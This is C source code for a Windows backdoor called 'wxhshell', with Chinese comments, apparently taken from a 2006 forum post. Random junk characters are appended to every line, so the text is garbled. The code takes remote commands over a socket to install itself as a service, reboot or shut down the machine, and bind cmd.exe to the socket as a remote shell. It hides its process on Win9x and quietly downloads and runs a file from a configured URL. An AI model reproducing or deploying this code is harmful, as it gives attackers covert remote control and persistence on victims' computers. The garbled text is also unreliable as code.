      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0zr27ko  
    break; A"JdG%t>.h  
  } fa/S!%}fO  
  // 安装  \(\a=  
  case 'i': { i|^Q{3?o#  
    if(Install()) ! UT'4Fs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q>{$Aqc,e  
    else -8n1y[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aN0[6+KP;  
    break; $f =`fPo  
    } zq};{~u(  
  // 卸载 rwq   
  case 'r': { e S8(HI6{^  
    if(Uninstall()) 59Pc:Gg;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R0-0  
    else bB_LL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jp=qPG|  
    break; ?J:w,,4m  
    } <[db)r~c  
  // 显示 wxhshell 所在路径 v+nXKNL  
  case 'p': { H~j@n!)  
    char svExeFile[MAX_PATH]; jSem/;  
    strcpy(svExeFile,"\n\r"); M/<ypJ  
      strcat(svExeFile,ExeFile); w5m /[Z  
        send(wsh,svExeFile,strlen(svExeFile),0); f]NLR>$L}  
    break; 8oX1 F(R  
    } ]\M{Abqd{  
  // 重启 VIp|U{  
  case 'b': { v}$Q   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); layxtECP(  
    if(Boot(REBOOT)) q}@L"a`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hZ45i?%  
    else { |A3"Jc.2o  
    closesocket(wsh); IBT>&(cnV  
    ExitThread(0); w 0BphK[  
    } eft=k}  
    break; pQa51nc  
    } xTAfV N  
  // 关机 %%No XW  
  case 'd': { eQ>Ur2H8n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X/4CXtX^  
    if(Boot(SHUTDOWN)) 'NtI bS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `jE[Xt"@  
    else { .Pm5nS  
    closesocket(wsh); UXct+l  
    ExitThread(0); .\XRkr'-  
    } ]K(a32VCH  
    break; ,j%\3g`  
    } QEJu.o  
  // 获取shell oZ%uq78#[%  
  case 's': { &hWELZe0vv  
    CmdShell(wsh); b-& rMML  
    closesocket(wsh); (ks>F=vk*  
    ExitThread(0); lju5+0BSb  
    break; 2y!n c%  
  } Ij#mmj NW  
  // 退出 e)e(f"t6Q  
  case 'x': { qR@ES J_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Lvf<g}?4  
    CloseIt(wsh); Z[@ i/. I  
    break; t utk*|S  
    } e1Db +QBV  
  // 离开 s$#64"F  
  case 'q': { &[d'g0pF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zB%~=@Q^6  
    closesocket(wsh); 0!\gK <,z  
    WSACleanup(); \lK?f]qJq  
    exit(1); L~ &S<5?  
    break; JO|j?%6YY  
        } 6(E4l5 %  
  } K&[0`sH!  
  } `:C1Wo^<  
n5QO'Jr%[  
  // 提示信息 Z|qI[uiO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V>Jr4z  
} li*S^uSF  
  } N]W*ei  
=zn'0g, J4  
  return; dy6zrgxygP  
} 2? E;(]dQ  
1| sem(t  
// shell模块句柄 n{QyqI  
int CmdShell(SOCKET sock) 08ZvRy(Je<  
{ g (&cq  
STARTUPINFO si; H>+/k-n-  
ZeroMemory(&si,sizeof(si)); t=7Gfv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UuIjtqW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .<t{saToU  
PROCESS_INFORMATION ProcessInfo; )>ff"| X  
char cmdline[]="cmd"; ?i<l7   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~ikp'5  
  return 0; 7@{%S~TN  
} >M5}L<  
?c8~VQaQ  
// 自身启动模式 g V]4R"/  
int StartFromService(void) Z.${WZW  
{ G!FdTvx$  
typedef struct n~lB}  
{ _h1bVd-  
  DWORD ExitStatus; Sj ovL@X  
  DWORD PebBaseAddress; @JSWqi>  
  DWORD AffinityMask; ( %7V  
  DWORD BasePriority; ?h`,@~6u  
  ULONG UniqueProcessId; HK[%'OQ  
  ULONG InheritedFromUniqueProcessId; _&= `vv'  
}   PROCESS_BASIC_INFORMATION; 0j$=KA  
gNr4oOR{  
PROCNTQSIP NtQueryInformationProcess; 7T[L5-g  
,.Ofv):=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z 4}"oQk:r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oN}\bK  
:awa  
  HANDLE             hProcess; }e7/F[c.U  
  PROCESS_BASIC_INFORMATION pbi; "*zDb|v  
}zA|M9%E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?Z|y-4 &>  
  if(NULL == hInst ) return 0; _CNXyFw.7  
%>K(IR pMW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^fKKsfIf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .yF-<Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H'S~GP4D  
MO ~T_6  
  if (!NtQueryInformationProcess) return 0; ywm"{ U? 8  
7UBW3{d/u5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -F`gRAr-  
  if(!hProcess) return 0; . x$V~t  
A]"6/Lr9P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,GWa3.&.d  
v_5O*F7)  
  CloseHandle(hProcess); )-+tN>Bb  
7'+`vt#E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +!@xH];  
if(hProcess==NULL) return 0; h6~xz0,u  
=)y$&Ydj  
HMODULE hMod; g,E)F90  
char procName[255]; jYU0zGpj  
unsigned long cbNeeded; x^3K=l;N  
34k(:]56|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :qXREF@h  
/_<_X 7  
  CloseHandle(hProcess); ,9|7{j|u  
v 'L"sgW6I  
if(strstr(procName,"services")) return 1; // 以服务启动 d;%~\+)x4  
(|W6p%(  
  return 0; // 注册表启动 GLY,<O>D5  
} Gyu =}  
L_Z`UhD3{  
// 主模块 -{3^~vW|<  
int StartWxhshell(LPSTR lpCmdLine) $LR~c)}1I  
{ [Qkj}  
  SOCKET wsl; Pd:tRY+t/  
BOOL val=TRUE; ]I~BgE;C9  
  int port=0; 5'Mw{`  
  struct sockaddr_in door; %Y`)ZKh  
ADP[KZO$ 4  
  if(wscfg.ws_autoins) Install(); ke*&*mx"L  
ygm=q^bV]s  
port=atoi(lpCmdLine); @ 6jKjI  
;).QhHeg>  
if(port<=0) port=wscfg.ws_port; On4Vqbks  
99h#M3@!  
  WSADATA data; /\jRr7 Cd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -?T|1FA,  
l5e`m^GK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IxG0TJ_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qe[ai?iJkt  
  door.sin_family = AF_INET; k:s86q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tchpO3u,  
  door.sin_port = htons(port); MoC/xF&  
NnZ_x>R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :v-,-3AG  
closesocket(wsl); ^YPw'cZZ&  
return 1; :B/u>  
} 7Il /+l(  
.@(MNq{"6  
  if(listen(wsl,2) == INVALID_SOCKET) { hEFn>  
closesocket(wsl); A|L-;P NP  
return 1; p'SY 2xq-,  
} mpCKF=KL.  
  Wxhshell(wsl); T7G{)wm  
  WSACleanup(); 6l?KX  
>*w(YB]/$V  
return 0; Lp||C@h~  
wd:SBU~f5*  
} <CP't[  
>>7m'-k%D  
// 以NT服务方式启动 $_Lcw"xO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \4q1<j  
{ e3&.RrA  
DWORD   status = 0; ZONe}tv:  
  DWORD   specificError = 0xfffffff; n]JfdI  
+>h'^/rAE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vw q Y;7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5|[\Se#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BYDOTy/%nJ  
  serviceStatus.dwWin32ExitCode     = 0; oX]c$<w5  
  serviceStatus.dwServiceSpecificExitCode = 0; LTY(6we-  
  serviceStatus.dwCheckPoint       = 0; S1$&  
  serviceStatus.dwWaitHint       = 0; V,9UOC,Gn  
BI)$aR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ErMA$UkJ  
  if (hServiceStatusHandle==0) return; rUF= uO(  
_{gRCR)  
status = GetLastError(); [=xO>  
  if (status!=NO_ERROR) Y1F P |  
{ 7+p=4i^@Zs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l3/?,xn  
    serviceStatus.dwCheckPoint       = 0; 9s6d+HhM  
    serviceStatus.dwWaitHint       = 0; c/}bx52>u  
    serviceStatus.dwWin32ExitCode     = status; *}i.,4+y   
    serviceStatus.dwServiceSpecificExitCode = specificError;  F_%&,"$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cbA90 8@s  
    return; 8-R; &  
  } zTt6L6:u  
z+@Jx~<i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~|)'vK8W  
  serviceStatus.dwCheckPoint       = 0; mm<rdo(`  
  serviceStatus.dwWaitHint       = 0; ?To r)>A'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~4tu*\P  
} j.rJfbE|X  
RIl+QA  
// 处理NT服务事件,比如:启动、停止 A0Hsd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C}GOwvAL>  
{ H]W59-{a  
switch(fdwControl) ('p~h-9Vi  
{ ,NaNih1  
case SERVICE_CONTROL_STOP:  bR5+({yH  
  serviceStatus.dwWin32ExitCode = 0; D7x"P-ie  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HTCn=MZm ?  
  serviceStatus.dwCheckPoint   = 0; t7DT5SrR  
  serviceStatus.dwWaitHint     = 0; V`"A|Y  
  { 3+jqf@fO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9a9{OJa6M  
  } UYb:q  
  return; &P{[22dQ  
case SERVICE_CONTROL_PAUSE: 5Y97?n+6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jz;"]k  
  break; Dos`lh  
case SERVICE_CONTROL_CONTINUE: F\;G'dm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5eW GX  
  break; A|d(5{:N  
case SERVICE_CONTROL_INTERROGATE: ;HeUD5Nt6F  
  break; 3"hPplE  
}; * 7 o(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t/aT  
} p9)'nU'\t  
+K%4jIm  
// 标准应用程序主函数 e[7n`ka '  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hh8)d/D  
{ 5)GO  
C_= WL(  
// 获取操作系统版本 /uzU]3KF~  
OsIsNt=GetOsVer(); V}kZowWD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G? "6[w/p  
5l"v:Px  
  // 从命令行安装 /u 8m|S<  
  if(strpbrk(lpCmdLine,"iI")) Install(); 50.cMms  
y++[:M  
  // 下载执行文件 auTApYS53  
if(wscfg.ws_downexe) { n_51-^* z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 64>o3Hb2  
  WinExec(wscfg.ws_filenam,SW_HIDE); /-l7GswF  
} $;dSM<r  
=q( ;g]e  
if(!OsIsNt) { PI#xRKt  
// 如果时win9x,隐藏进程并且设置为注册表启动 1/YWDxo,  
HideProc(); ayJKt03\O\  
StartWxhshell(lpCmdLine); ^MGgFS]G  
} qqSf17sW  
else ~% QVjzMC  
  if(StartFromService()) RAQi&?Ko  
  // 以服务方式启动 COa"zg  
  StartServiceCtrlDispatcher(DispatchTable); _kb $S  
else .ns1;8  
  // 普通方式启动 [ENm(e$sI  
  StartWxhshell(lpCmdLine); &!#a^d+` 0  
. j}dk.#h  
return 0; :U>o;  
}
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只看该作者 1 发表于: 2006-10-10
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